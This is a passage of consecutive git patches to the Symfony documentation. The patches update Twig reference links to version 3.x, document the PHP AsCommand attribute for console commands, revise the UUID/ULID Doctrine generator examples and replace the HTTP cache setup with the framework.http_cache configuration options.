 .. _`tailwind_2_layout.html.twig`: https://github.com/symfony/symfony/blob/master/src/Symfony/Bridge/Twig/Resources/views/Form/tailwind_2_layout.html.twig
 .. _`Tailwind CSS form plugin`: https://tailwindcss-forms.vercel.app/
-.. _`Twig "use" tag`: https://twig.symfony.com/doc/2.x/tags/use.html
-.. _`Twig parent() function`: https://twig.symfony.com/doc/2.x/functions/parent.html
+.. _`Twig "use" tag`: https://twig.symfony.com/doc/3.x/tags/use.html
+.. _`Twig parent() function`: https://twig.symfony.com/doc/3.x/functions/parent.html
diff --git a/reference/configuration/twig.rst b/reference/configuration/twig.rst
index c1407d7fbb5..8ac4068517e 100644
--- a/reference/configuration/twig.rst
+++ b/reference/configuration/twig.rst
@@ -344,5 +344,5 @@ If set to ``true``, Symfony shows an exception whenever a Twig variable,
 attribute or method doesn't exist. If set to ``false`` these errors are ignored
 and the non-existing values are replaced by ``null``.
 
-.. _`the optimizer extension`: https://twig.symfony.com/doc/2.x/api.html#optimizer-extension
+.. _`the optimizer extension`: https://twig.symfony.com/doc/3.x/api.html#optimizer-extension
 .. _`XSS attacks`: https://en.wikipedia.org/wiki/Cross-site_scripting
diff --git a/reference/dic_tags.rst b/reference/dic_tags.rst
index a60148f008b..ce8fcf195d4 100644
--- a/reference/dic_tags.rst
+++ b/reference/dic_tags.rst
@@ -1333,6 +1333,6 @@ Then, tag it with the ``validator.initializer`` tag (it has no options).
 For an example, see the ``DoctrineInitializer`` class inside the Doctrine
 Bridge.
 
-.. _`Twig's documentation`: https://twig.symfony.com/doc/2.x/advanced.html#creating-an-extension
-.. _`Twig Loader`: https://twig.symfony.com/doc/2.x/api.html#loaders
+.. _`Twig's documentation`: https://twig.symfony.com/doc/3.x/advanced.html#creating-an-extension
+.. _`Twig Loader`: https://twig.symfony.com/doc/3.x/api.html#loaders
 .. _`PHP class preloading`: https://www.php.net/manual/en/opcache.configuration.php#ini.opcache.preload
diff --git a/reference/twig_reference.rst b/reference/twig_reference.rst
index d2246edef52..e905a4d2b05 100644
--- a/reference/twig_reference.rst
+++ b/reference/twig_reference.rst
@@ -669,4 +669,4 @@ The ``app`` variable is injected automatically by Symfony in all templates and
 provides access to lots of useful application information. Read more about the
 :ref:`Twig global app variable <twig-app-variable>`.
 
-.. _`default filters and functions defined by Twig`: https://twig.symfony.com/doc/2.x/#reference
+.. _`default filters and functions defined by Twig`: https://twig.symfony.com/doc/3.x/#reference
diff --git a/templates.rst b/templates.rst
index 5382604cbf0..280a5f9b6df 100644
--- a/templates.rst
+++ b/templates.rst
@@ -707,7 +707,7 @@ First, make sure that the VarDumper component is installed in the application:
 
 .. code-block:: terminal
 
-    $ composer require symfony/var-dumper
+    $ composer require --dev symfony/var-dumper
 
 Then, use either the ``{% dump %}`` tag or the ``{{ dump() }}`` function
 depending on your needs:
@@ -1217,16 +1217,16 @@ Learn more
     /templating/*
 
 .. _`Twig`: https://twig.symfony.com
-.. _`tags`: https://twig.symfony.com/doc/2.x/tags/index.html
-.. _`filters`: https://twig.symfony.com/doc/2.x/filters/index.html
-.. _`functions`: https://twig.symfony.com/doc/2.x/functions/index.html
-.. _`with_context`: https://twig.symfony.com/doc/2.x/functions/include.html
-.. _`Twig template loader`: https://twig.symfony.com/doc/2.x/api.html#loaders
-.. _`Twig raw filter`: https://twig.symfony.com/doc/2.x/filters/raw.html
-.. _`Twig output escaping docs`: https://twig.symfony.com/doc/2.x/api.html#escaper-extension
+.. _`tags`: https://twig.symfony.com/doc/3.x/tags/index.html
+.. _`filters`: https://twig.symfony.com/doc/3.x/filters/index.html
+.. _`functions`: https://twig.symfony.com/doc/3.x/functions/index.html
+.. _`with_context`: https://twig.symfony.com/doc/3.x/functions/include.html
+.. _`Twig template loader`: https://twig.symfony.com/doc/3.x/api.html#loaders
+.. _`Twig raw filter`: https://twig.symfony.com/doc/3.x/filters/raw.html
+.. _`Twig output escaping docs`: https://twig.symfony.com/doc/3.x/api.html#escaper-extension
 .. _`snake case`: https://en.wikipedia.org/wiki/Snake_case
-.. _`Twig template inheritance`: https://twig.symfony.com/doc/2.x/tags/extends.html
-.. _`Twig block tag`: https://twig.symfony.com/doc/2.x/tags/block.html
+.. _`Twig template inheritance`: https://twig.symfony.com/doc/3.x/tags/extends.html
+.. _`Twig block tag`: https://twig.symfony.com/doc/3.x/tags/block.html
 .. _`Cross-Site Scripting`: https://en.wikipedia.org/wiki/Cross-site_scripting
 .. _`GitHub Actions`: https://docs.github.com/en/free-pro-team@latest/actions
 .. _`UX Twig Component`: https://symfony.com/bundles/ux-twig-component/current/index.html
diff --git a/templating/twig_extension.rst b/templating/twig_extension.rst
index 03fcd7a9471..fc4751dee12 100644
--- a/templating/twig_extension.rst
+++ b/templating/twig_extension.rst
@@ -170,7 +170,7 @@ If you're using the default ``services.yaml`` configuration, this will already
 work! Otherwise, :ref:`create a service <service-container-creating-service>`
 for this class and :doc:`tag your service </service_container/tags>` with ``twig.runtime``.
 
-.. _`Twig Extensions`: https://twig.symfony.com/doc/2.x/advanced.html#creating-an-extension
-.. _`default Twig filters and functions`: https://twig.symfony.com/doc/2.x/#reference
+.. _`Twig Extensions`: https://twig.symfony.com/doc/3.x/advanced.html#creating-an-extension
+.. _`default Twig filters and functions`: https://twig.symfony.com/doc/3.x/#reference
 .. _`official Twig extensions`: https://github.com/twigphp?q=extra
-.. _`global variables`: https://twig.symfony.com/doc/2.x/advanced.html#id1
+.. _`global variables`: https://twig.symfony.com/doc/3.x/advanced.html#id1

From ad0ebaf3d2847751944f1267013cdfadf03256b3 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 4 Feb 2022 10:49:16 +0100
Subject: [PATCH 3007/7107] Remove an unused link

---
 reference/forms/types/map.rst.inc | 1 -
 1 file changed, 1 deletion(-)

diff --git a/reference/forms/types/map.rst.inc b/reference/forms/types/map.rst.inc
index 100a0b3f5fe..b7ff4fa05cd 100644
--- a/reference/forms/types/map.rst.inc
+++ b/reference/forms/types/map.rst.inc
@@ -75,6 +75,5 @@ Base Fields
 
 * :doc:`FormType </reference/forms/types/form>`
 
-.. _`Symfony UX initiative`: https://github.com/symfony/ux#readme
 .. _`CropperType`: https://github.com/symfony/ux/tree/2.x/src/Cropperjs#readme
 .. _`DropzoneType`: https://github.com/symfony/ux/tree/2.x/src/Dropzone#readme

From f857b22e1043c50e887adbbcf45470fec7f2ee10 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 4 Feb 2022 13:20:44 +0100
Subject: [PATCH 3008/7107] Minor tweaks

---
 mailer.rst | 7 ++++++-
 1 file changed, 6 insertions(+), 1 deletion(-)

diff --git a/mailer.rst b/mailer.rst
index acc98f8cb11..869fb3579e4 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -1268,7 +1268,12 @@ The following transports only support tags:
 
 The following transports only support metadata:
 
-* Amazon SES
+* Amazon SES (note that Amazon refers to this feature as "tags", but Symfony
+  calls it "metadata" because it contains a key and a value)
+
+.. versionadded:: 6.1
+
+    Metadata support for Amazon SES was introduced in Symfony 6.1.
 
 Draft Emails
 ------------

From a1ee1dea8d88448df9a50a045d0fc72444d8968f Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 4 Feb 2022 16:08:35 +0100
Subject: [PATCH 3009/7107] Improve the local server proxy troubleshooting
 section

---
 setup/symfony_server.rst | 16 ++++++++++------
 1 file changed, 10 insertions(+), 6 deletions(-)

diff --git a/setup/symfony_server.rst b/setup/symfony_server.rst
index 2c55dcc77e3..dfec58cb1b9 100644
--- a/setup/symfony_server.rst
+++ b/setup/symfony_server.rst
@@ -202,12 +202,16 @@ Now run this command to start the proxy:
 
     $ symfony proxy:start
 
-.. note::
-
-    Some browsers (e.g. Chrome) require to re-apply proxy settings (clicking on
-    ``Re-apply settings`` button on the ``chrome://net-internals/#proxy`` page)
-    or a full restart after starting the proxy. Otherwise, you'll see a
-    *"This webpage is not available"* error (``ERR_NAME_NOT_RESOLVED``).
+If the proxy doesn't work when serving requests as explained in the following
+sections, check these:
+
+* Some browsers (e.g. Chrome) require to re-apply proxy settings (clicking on
+  ``Re-apply settings`` button on the ``chrome://net-internals/#proxy`` page)
+  or a full restart after starting the proxy. Otherwise, you'll see a
+  *"This webpage is not available"* error (``ERR_NAME_NOT_RESOLVED``);
+* Some Operating Systems (e.g. macOS) don't apply by default the proxy settings
+  to local hosts and domains. You may need to remove ``*.local`` and/or other
+  IP addresses from that list.
 
 Defining the Local Domain
 ~~~~~~~~~~~~~~~~~~~~~~~~~

From a20ace6246eb20e0b6478c68ca8344088d1e4fd4 Mon Sep 17 00:00:00 2001
From: IamBeginnerC <98685445+IamBeginnerC@users.noreply.github.com>
Date: Tue, 1 Feb 2022 08:40:33 +0800
Subject: [PATCH 3010/7107] Update some code

---
 configuration/override_dir_structure.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/configuration/override_dir_structure.rst b/configuration/override_dir_structure.rst
index 70c3b5b5d28..f51147c73d1 100644
--- a/configuration/override_dir_structure.rst
+++ b/configuration/override_dir_structure.rst
@@ -51,7 +51,7 @@ method in the ``Kernel`` class of your application::
     {
         // ...
 
-        public function getCacheDir()
+        public function getCacheDir() : string
         {
             return dirname(__DIR__).'/var/'.$this->environment.'/cache';
         }
@@ -84,7 +84,7 @@ method::
     {
         // ...
 
-        public function getLogDir()
+        public function getLogDir() : string
         {
             return dirname(__DIR__).'/var/'.$this->environment.'/log';
         }

From 35580b9b08ea54dcbbe4d933ab285ac3a346bec0 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 4 Feb 2022 16:24:00 +0100
Subject: [PATCH 3011/7107] Minor tweak

---
 configuration/override_dir_structure.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/configuration/override_dir_structure.rst b/configuration/override_dir_structure.rst
index f51147c73d1..a1af58ba5db 100644
--- a/configuration/override_dir_structure.rst
+++ b/configuration/override_dir_structure.rst
@@ -51,7 +51,7 @@ method in the ``Kernel`` class of your application::
     {
         // ...
 
-        public function getCacheDir() : string
+        public function getCacheDir(): string
         {
             return dirname(__DIR__).'/var/'.$this->environment.'/cache';
         }
@@ -84,7 +84,7 @@ method::
     {
         // ...
 
-        public function getLogDir() : string
+        public function getLogDir(): string
         {
             return dirname(__DIR__).'/var/'.$this->environment.'/log';
         }

From fe518d1d678b1e02c3d9a87accf7753c965be628 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 7 Feb 2022 08:59:14 +0100
Subject: [PATCH 3012/7107] Tweak

---
 setup/symfony_server.rst | 3 +--
 1 file changed, 1 insertion(+), 2 deletions(-)

diff --git a/setup/symfony_server.rst b/setup/symfony_server.rst
index dfec58cb1b9..9dbda5f31de 100644
--- a/setup/symfony_server.rst
+++ b/setup/symfony_server.rst
@@ -202,8 +202,7 @@ Now run this command to start the proxy:
 
     $ symfony proxy:start
 
-If the proxy doesn't work when serving requests as explained in the following
-sections, check these:
+If the proxy doesn't work as explained in the following sections, check these:
 
 * Some browsers (e.g. Chrome) require to re-apply proxy settings (clicking on
   ``Re-apply settings`` button on the ``chrome://net-internals/#proxy`` page)

From 5b6abf0219422d3374d39b5a95d2b13ef39200d9 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Michael=20K=C3=A4fer?= <michael.kaefer1@gmx.at>
Date: Mon, 7 Feb 2022 11:41:04 +0100
Subject: [PATCH 3013/7107] Sync generated values docs for: UUIDs and ULIDs

---
 components/uid.rst | 23 +++++++++--------------
 1 file changed, 9 insertions(+), 14 deletions(-)

diff --git a/components/uid.rst b/components/uid.rst
index 1e44c6e308f..5f07b8d4dcd 100644
--- a/components/uid.rst
+++ b/components/uid.rst
@@ -166,29 +166,26 @@ type, which converts to/from UUID objects automatically::
 
     The UUID type was introduced in Symfony 5.2.
 
-There is no generator to assign UUIDs automatically as the value of your entity
-primary keys, but you can use the following::
+There's also a Doctrine generator to help auto-generate UUID values for the
+entity primary keys::
 
     namespace App\Entity;
 
     use Doctrine\ORM\Mapping as ORM;
+    use Symfony\Bridge\Doctrine\IdGenerator\UuidGenerator;
     use Symfony\Component\Uid\Uuid;
-    // ...
 
     class User implements UserInterface
     {
         /**
          * @ORM\Id
          * @ORM\Column(type="uuid", unique=true)
+         * @ORM\GeneratedValue(strategy="CUSTOM")
+         * @ORM\CustomIdGenerator(class=UuidGenerator::class)
          */
         private $id;
 
-        public function __construct()
-        {
-            $this->id = Uuid::v4();
-        }
-
-        public function getId(): Uuid
+        public function getId(): ?Uuid
         {
             return $this->id;
         }
@@ -345,12 +342,12 @@ type, which converts to/from ULID objects automatically::
 There's also a Doctrine generator to help auto-generate ULID values for the
 entity primary keys::
 
+    namespace App\Entity;
+
+    use Doctrine\ORM\Mapping as ORM;
     use Symfony\Bridge\Doctrine\IdGenerator\UlidGenerator;
     use Symfony\Component\Uid\Ulid;
 
-    /**
-     * @ORM\Entity(repositoryClass="App\Repository\ProductRepository")
-     */
     class Product
     {
         /**
@@ -361,8 +358,6 @@ entity primary keys::
          */
         private $id;
 
-        // ...
-
         public function getId(): ?Ulid
         {
             return $this->id;

From 246787677602f9373f5b475edbac6be5af7d9dcf Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 9 Feb 2022 09:23:08 +0100
Subject: [PATCH 3014/7107] [Console] Use AsCommand attribute in all commands

---
 components/console/changing_default_command.rst |  4 ++--
 components/console/console_arguments.rst        |  5 ++---
 components/console/logger.rst                   | 16 +++++-----------
 console.rst                                     |  4 +++-
 console/commands_as_services.rst                | 12 ++++++++----
 console/hide_commands.rst                       | 16 +++++-----------
 6 files changed, 25 insertions(+), 32 deletions(-)

diff --git a/components/console/changing_default_command.rst b/components/console/changing_default_command.rst
index 6eb9f2b5227..6a2fe877478 100644
--- a/components/console/changing_default_command.rst
+++ b/components/console/changing_default_command.rst
@@ -10,14 +10,14 @@ name to the ``setDefaultCommand()`` method::
 
     namespace Acme\Console\Command;
 
+    use Symfony\Component\Console\Attribute\AsCommand;
     use Symfony\Component\Console\Command\Command;
     use Symfony\Component\Console\Input\InputInterface;
     use Symfony\Component\Console\Output\OutputInterface;
 
+    #[AsCommand(name: 'hello:world')]
     class HelloWorldCommand extends Command
     {
-        protected static $defaultName = 'hello:world';
-
         protected function configure()
         {
             $this->setDescription('Outputs "Hello World"');
diff --git a/components/console/console_arguments.rst b/components/console/console_arguments.rst
index 79f5c6c1f4c..5b641c26774 100644
--- a/components/console/console_arguments.rst
+++ b/components/console/console_arguments.rst
@@ -14,6 +14,7 @@ Have a look at the following command that has three options::
 
     namespace Acme\Console\Command;
 
+    use Symfony\Component\Console\Attribute\AsCommand;
     use Symfony\Component\Console\Command\Command;
     use Symfony\Component\Console\Input\InputArgument;
     use Symfony\Component\Console\Input\InputDefinition;
@@ -21,14 +22,12 @@ Have a look at the following command that has three options::
     use Symfony\Component\Console\Input\InputOption;
     use Symfony\Component\Console\Output\OutputInterface;
 
+    #[AsCommand(name: 'demo:args', description: 'Describe args behaviors')]
     class DemoArgsCommand extends Command
     {
-        protected static $defaultName = 'demo:args';
-
         protected function configure()
         {
             $this
-                ->setDescription('Describe args behaviors')
                 ->setDefinition(
                     new InputDefinition([
                         new InputOption('foo', 'f'),
diff --git a/components/console/logger.rst b/components/console/logger.rst
index 8f029e47002..25fce56d7d9 100644
--- a/components/console/logger.rst
+++ b/components/console/logger.rst
@@ -37,24 +37,18 @@ You can rely on the logger to use this dependency inside a command::
     namespace Acme\Console\Command;
 
     use Acme\MyDependency;
+    use Symfony\Component\Console\Attribute\AsCommand;
     use Symfony\Component\Console\Command\Command;
     use Symfony\Component\Console\Input\InputInterface;
     use Symfony\Component\Console\Logger\ConsoleLogger;
     use Symfony\Component\Console\Output\OutputInterface;
 
+    #[AsCommand(
+        name: 'my:command',
+        description: 'Use an external dependency requiring a PSR-3 logger'
+    )]
     class MyCommand extends Command
     {
-        protected static $defaultName = 'my:command';
-
-        protected function configure()
-        {
-            $this
-                ->setDescription(
-                    'Use an external dependency requiring a PSR-3 logger'
-                )
-            ;
-        }
-
         protected function execute(InputInterface $input, OutputInterface $output)
         {
             $logger = new ConsoleLogger($output);
diff --git a/console.rst b/console.rst
index fdf668a375d..a7fe52108b1 100644
--- a/console.rst
+++ b/console.rst
@@ -29,13 +29,15 @@ want a command to create a user::
     // src/Command/CreateUserCommand.php
     namespace App\Command;
 
+    use Symfony\Component\Console\Attribute\AsCommand;
     use Symfony\Component\Console\Command\Command;
     use Symfony\Component\Console\Input\InputInterface;
     use Symfony\Component\Console\Output\OutputInterface;
 
+    // the name of the command is what users type after "php bin/console"
+    #[AsCommand(name: 'app:create-user')]
     class CreateUserCommand extends Command
     {
-        // the name of the command (the part after "bin/console")
         protected static $defaultName = 'app:create-user';
 
         protected function configure(): void
diff --git a/console/commands_as_services.rst b/console/commands_as_services.rst
index 6323f21ac50..d279c762ec6 100644
--- a/console/commands_as_services.rst
+++ b/console/commands_as_services.rst
@@ -18,13 +18,14 @@ For example, suppose you want to log something from within your command::
     namespace App\Command;
 
     use Psr\Log\LoggerInterface;
+    use Symfony\Component\Console\Attribute\AsCommand;
     use Symfony\Component\Console\Command\Command;
     use Symfony\Component\Console\Input\InputInterface;
     use Symfony\Component\Console\Output\OutputInterface;
 
+    #[AsCommand(name: 'app:sunshine')]
     class SunshineCommand extends Command
     {
-        protected static $defaultName = 'app:sunshine';
         private $logger;
 
         public function __construct(LoggerInterface $logger)
@@ -68,12 +69,15 @@ command and start logging.
 Lazy Loading
 ------------
 
-To make your command lazily loaded, either define its ``$defaultName`` static property::
+To make your command lazily loaded, either define its name using the PHP
+``AsCommand`` attribute::
 
+    use Symfony\Component\Console\Attribute\AsCommand;
+    // ...
+
+    #[AsCommand(name: 'app:sunshine')]
     class SunshineCommand extends Command
     {
-        protected static $defaultName = 'app:sunshine';
-
         // ...
     }
 
diff --git a/console/hide_commands.rst b/console/hide_commands.rst
index 2f9d2819873..44a69d09289 100644
--- a/console/hide_commands.rst
+++ b/console/hide_commands.rst
@@ -8,25 +8,19 @@ However, sometimes commands are not intended to be run by end-users; for
 example, commands for the legacy parts of the application, commands exclusively
 run through scheduled tasks, etc.
 
-In those cases, you can define the command as **hidden** by setting the
-``setHidden()`` method to ``true`` in the command configuration::
+In those cases, you can define the command as **hidden** by setting to ``true``
+the ``hidden`` property of the ``AsCommand`` attribute::
 
     // src/Command/LegacyCommand.php
     namespace App\Command;
 
+    use Symfony\Component\Console\Attribute\AsCommand;
     use Symfony\Component\Console\Command\Command;
 
+    #[AsCommand(name: 'app:legacy', hidden: true)]
     class LegacyCommand extends Command
     {
-        protected static $defaultName = 'app:legacy';
-
-        protected function configure(): void
-        {
-            $this
-                ->setHidden(true)
-                // ...
-            ;
-        }
+        // ...
     }
 
 Hidden commands behave the same as normal commands but they are no longer displayed

From 7a842f1f9359dac67c62e9513e2b315e303e7294 Mon Sep 17 00:00:00 2001
From: Antoine Makdessi <amakdessi@me.com>
Date: Tue, 28 Dec 2021 11:17:07 +0100
Subject: [PATCH 3015/7107] [Console] Document AsCommand attribute

---
 console.rst | 24 ++++++++++++++++++++++++
 1 file changed, 24 insertions(+)

diff --git a/console.rst b/console.rst
index 042554fe006..9215f07d7c6 100644
--- a/console.rst
+++ b/console.rst
@@ -151,6 +151,30 @@ with the ``console.command`` tag. If you're using the
 :ref:`default services.yaml configuration <service-container-services-load-example>`,
 this is already done for you, thanks to :ref:`autoconfiguration <services-autoconfigure>`.
 
+On PHP 8, you can use native attribute ``AsCommand`` to configure::
+
+    // src/Command/CreateUserCommand.php
+    namespace App\Command;
+
+    use Symfony\Component\Console\Attribute\AsCommand;
+    use Symfony\Component\Console\Command\Command;
+
+    #[AsCommand(
+        name: 'app:create-user',
+        description: 'Creates a new user.',
+        hidden: false,
+        aliases: ['app:add-user']
+    )]
+    class CreateUserCommand extends Command
+    {
+        // ...
+    }
+
+.. versionadded:: 5.3
+
+    The ability to use PHP attributes to configure commands was introduced in
+    Symfony 5.3.
+
 Executing the Command
 ---------------------
 

From 85322e3f14dfb73ad6f197e885999f0df63fc99f Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 9 Feb 2022 09:27:50 +0100
Subject: [PATCH 3016/7107] Tweaks

---
 console.rst | 13 +++++++------
 1 file changed, 7 insertions(+), 6 deletions(-)

diff --git a/console.rst b/console.rst
index 0c150298859..9de02a4b882 100644
--- a/console.rst
+++ b/console.rst
@@ -146,12 +146,8 @@ available in the ``configure()`` method::
 Registering the Command
 -----------------------
 
-Symfony commands must be registered as services and :doc:`tagged </service_container/tags>`
-with the ``console.command`` tag. If you're using the
-:ref:`default services.yaml configuration <service-container-services-load-example>`,
-this is already done for you, thanks to :ref:`autoconfiguration <services-autoconfigure>`.
-
-On PHP 8, you can use native attribute ``AsCommand`` to configure::
+In PHP 8 and newer versions, you can register the command by adding the
+``AsCommand`` attribute to it::
 
     // src/Command/CreateUserCommand.php
     namespace App\Command;
@@ -175,6 +171,11 @@ On PHP 8, you can use native attribute ``AsCommand`` to configure::
     The ability to use PHP attributes to configure commands was introduced in
     Symfony 5.3.
 
+If you can't use PHP attributes, register the command as a service and
+:doc:`tag it </service_container/tags>` with the ``console.command`` tag. If you're using the
+:ref:`default services.yaml configuration <service-container-services-load-example>`,
+this is already done for you, thanks to :ref:`autoconfiguration <services-autoconfigure>`.
+
 Executing the Command
 ---------------------
 

From ef97649c397256232a6d489d086a1a5318e49b73 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 9 Feb 2022 09:28:15 +0100
Subject: [PATCH 3017/7107] Remove versionadded directive

---
 console.rst | 5 -----
 1 file changed, 5 deletions(-)

diff --git a/console.rst b/console.rst
index f65228b744f..ec66a73d028 100644
--- a/console.rst
+++ b/console.rst
@@ -152,11 +152,6 @@ In PHP 8 and newer versions, you can register the command by adding the
         // ...
     }
 
-.. versionadded:: 5.3
-
-    The ability to use PHP attributes to configure commands was introduced in
-    Symfony 5.3.
-
 If you can't use PHP attributes, register the command as a service and
 :doc:`tag it </service_container/tags>` with the ``console.command`` tag. If you're using the
 :ref:`default services.yaml configuration <service-container-services-load-example>`,

From 1ec427ad3fb796398b7ee908510aed09b1fccf22 Mon Sep 17 00:00:00 2001
From: Steve <steve.clifton@outlook.com>
Date: Wed, 26 Jan 2022 21:24:10 +1300
Subject: [PATCH 3018/7107] Update doctrine.rst

Update deprecated command to new Doctrine 2.2 syntax
```
User Deprecated: Since doctrine/doctrine-bundle 2.2: The "Doctrine\Bundle\DoctrineBundle\Command\Proxy\RunSqlDoctrineCommand" (doctrine:query:sql) is deprecated, use dbal:run-sql command instead.
```
---
 doctrine.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/doctrine.rst b/doctrine.rst
index 911c2951f69..e0376774b25 100644
--- a/doctrine.rst
+++ b/doctrine.rst
@@ -397,10 +397,10 @@ you can query the database directly:
 
 .. code-block:: terminal
 
-    $ php bin/console doctrine:query:sql 'SELECT * FROM product'
+    $ php bin/console dbal:run-sql 'SELECT * FROM product'
 
     # on Windows systems not using Powershell, run this command instead:
-    # php bin/console doctrine:query:sql "SELECT * FROM product"
+    # php bin/console dbal:run-sql "SELECT * FROM product"
 
 Take a look at the previous example in more detail:
 

From 61a855b01482b6317ac6aa3db7efaf471863a203 Mon Sep 17 00:00:00 2001
From: Nicolas Grekas <nicolas.grekas@gmail.com>
Date: Sun, 16 Jan 2022 15:26:16 +0100
Subject: [PATCH 3019/7107] Update section about http cache

---
 http_cache.rst                        | 82 ++++++----------------
 reference/configuration/framework.rst | 97 ++++++++++++++++++++++++++-
 2 files changed, 115 insertions(+), 64 deletions(-)

diff --git a/http_cache.rst b/http_cache.rst
index 51d42a5cf71..57750e4b9c8 100644
--- a/http_cache.rst
+++ b/http_cache.rst
@@ -77,79 +77,35 @@ but it is a great way to start.
 
     For details on setting up Varnish, see :doc:`/http_cache/varnish`.
 
-To enable the proxy, first create a caching kernel::
+To enable the proxy for the ``prod`` env, enable the ``framework.http_cache`` setting:
 
-    // src/CacheKernel.php
-    namespace App;
+.. configuration-block::
 
-    use Symfony\Bundle\FrameworkBundle\HttpCache\HttpCache;
+    .. code-block:: yaml
 
-    class CacheKernel extends HttpCache
-    {
-    }
-
-Modify the code of your front controller to wrap the default kernel into the
-caching kernel:
+        # config/packages/framework.yaml
+        when@prod:
+            framework:
+                http_cache: true
 
-.. code-block:: diff
+    .. code-block:: php
 
-      // public/index.php
+        // config/packages/framework.php
+        use Symfony\Config\FrameworkConfig;
 
-    + use App\CacheKernel;
-      use App\Kernel;
-
-    // ...
-    $kernel = new Kernel($context['APP_ENV'], (bool) $context['APP_DEBUG']);
-    + // Wrap the default Kernel with the CacheKernel one in 'prod' environment
-    + if ('prod' === $kernel->getEnvironment()) {
-    +     return new CacheKernel($kernel);
-    + }
-    return $kernel;
+        return static function (FrameworkConfig $framework) use ($env) {
+            if ('prod' === $env) {
+                $framework->httpCache()->enabled(true);
+            }
+        };
 
-
-The caching kernel will immediately act as a reverse proxy: caching responses
+The kernel will immediately act as a reverse proxy: caching responses
 from your application and returning them to the client.
 
-.. caution::
-
-    If you're using the :ref:`framework.http_method_override <configuration-framework-http_method_override>`
-    option to read the HTTP method from a ``_method`` parameter, see the
-    above link for a tweak you need to make.
-
-.. tip::
-
-    The cache kernel has a special ``getLog()`` method that returns a string
-    representation of what happened in the cache layer. In the development
-    environment, use it to debug and validate your cache strategy::
-
-        error_log($kernel->getLog());
-
-The ``CacheKernel`` object has a sensible default configuration, but it can be
-finely tuned via a set of options you can set by overriding the
-:method:`Symfony\\Bundle\\FrameworkBundle\\HttpCache\\HttpCache::getOptions`
-method::
-
-    // src/CacheKernel.php
-    namespace App;
-
-    use Symfony\Bundle\FrameworkBundle\HttpCache\HttpCache;
-
-    class CacheKernel extends HttpCache
-    {
-        protected function getOptions(): array
-        {
-            return [
-                'default_ttl' => 0,
-                // ...
-            ];
-        }
-    }
-
-For a full list of the options and their meaning, see the
-:method:`HttpCache::__construct() documentation <Symfony\\Component\\HttpKernel\\HttpCache\\HttpCache::__construct>`.
+The proxy has a sensible default configuration, but it can be
+finely tuned via `a set of options<configuration-framework-http_cache>`.
 
-When you're in debug mode (the second argument of ``Kernel`` constructor in the
-front controller is ``true``), Symfony automatically adds an ``X-Symfony-Cache``
+When in debug mode, Symfony automatically adds an ``X-Symfony-Cache``
 header to the response. You can also use the ``trace_level`` config
 option and set it to either ``none``, ``short`` or ``full`` to
 add this information.
diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index 434952b7da6..b3e72757128 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -53,7 +53,102 @@ will invalidate all signed URIs and Remember Me cookies. That's why, after
 changing this value, you should regenerate the application cache and log
 out all the application users.
 
-.. _configuration-framework-http_method_override:
+.. _configuration-framework-http_cache:
+
+http_cache
+~~~~~~~~~~
+
+.. versionadded:: 5.2
+
+    The ``http_cache`` option was introduced in Symfony 5.2.
+
+enabled
+.......
+
+**type**: ``boolean`` **default**: ``false``
+
+debug
+.....
+
+**type**: ``boolean`` **default**: ``%kernel.debug%``
+
+If true, exceptions are thrown when things go wrong. Otherwise, the cache will
+try to carry on and deliver a meaningful response.
+
+trace_level
+...........
+
+**type**: ``string`` **possible values**: ``'none'``, ``'short'`` or ``'full'``
+
+For 'short', a concise trace of the main request will be added as an HTTP header.
+'full' will add traces for all requests (including ESI subrequests).
+(default: 'full' if in debug; 'none' otherwise)
+
+trace_header
+............
+
+**type**: ``string``
+
+Header name to use for traces. (default: X-Symfony-Cache)
+
+default_ttl
+...........
+
+**type**: ``integer``
+
+The number of seconds that a cache entry should be considered fresh when no
+explicit freshness information is provided in a response. Explicit
+Cache-Control or Expires headers override this value. (default: 0)
+
+private_headers
+...............
+
+**type**: ``array``
+
+Set of request headers that trigger "private" cache-control behavior on responses
+that don't explicitly state whether the response is public or private via a
+Cache-Control directive. (default: Authorization and Cookie)
+
+allow_reload
+............
+
+**type**: ``string``
+
+Specifies whether the client can force a cache reload by including a
+Cache-Control "no-cache" directive in the request. Set it to ``true``
+for compliance with RFC 2616. (default: false)
+
+allow_revalidate
+................
+
+**type**: ``string``
+
+Specifies whether the client can force a cache revalidate by including a
+Cache-Control "max-age=0" directive in the request. Set it to ``true``
+for compliance with RFC 2616. (default: false)
+
+stale_while_revalidate
+......................
+
+**type**: ``integer``
+
+Specifies the default number of seconds (the granularity is the second as the
+Response TTL precision is a second) during which the cache can immediately return
+a stale response while it revalidates it in the background (default: 2).
+This setting is overridden by the stale-while-revalidate HTTP Cache-Control
+extension (see RFC 5861).
+
+stale_if_error
+..............
+
+**type**: ``integer``
+
+Specifies the default number of seconds (the granularity is the second) during
+which the cache can serve a stale response when an error is encountered
+(default: 60). This setting is overridden by the stale-if-error HTTP
+Cache-Control extension (see RFC 5861).
+
+ .. _configuration-framework-http_method_override:
 
 http_method_override
 ~~~~~~~~~~~~~~~~~~~~

From 8e24122b289f6a816acdef854bdb0ee98b2c3c68 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 9 Feb 2022 17:36:06 +0100
Subject: [PATCH 3020/7107] Tweaks

---
 http_cache.rst | 13 +++++++------
 1 file changed, 7 insertions(+), 6 deletions(-)

diff --git a/http_cache.rst b/http_cache.rst
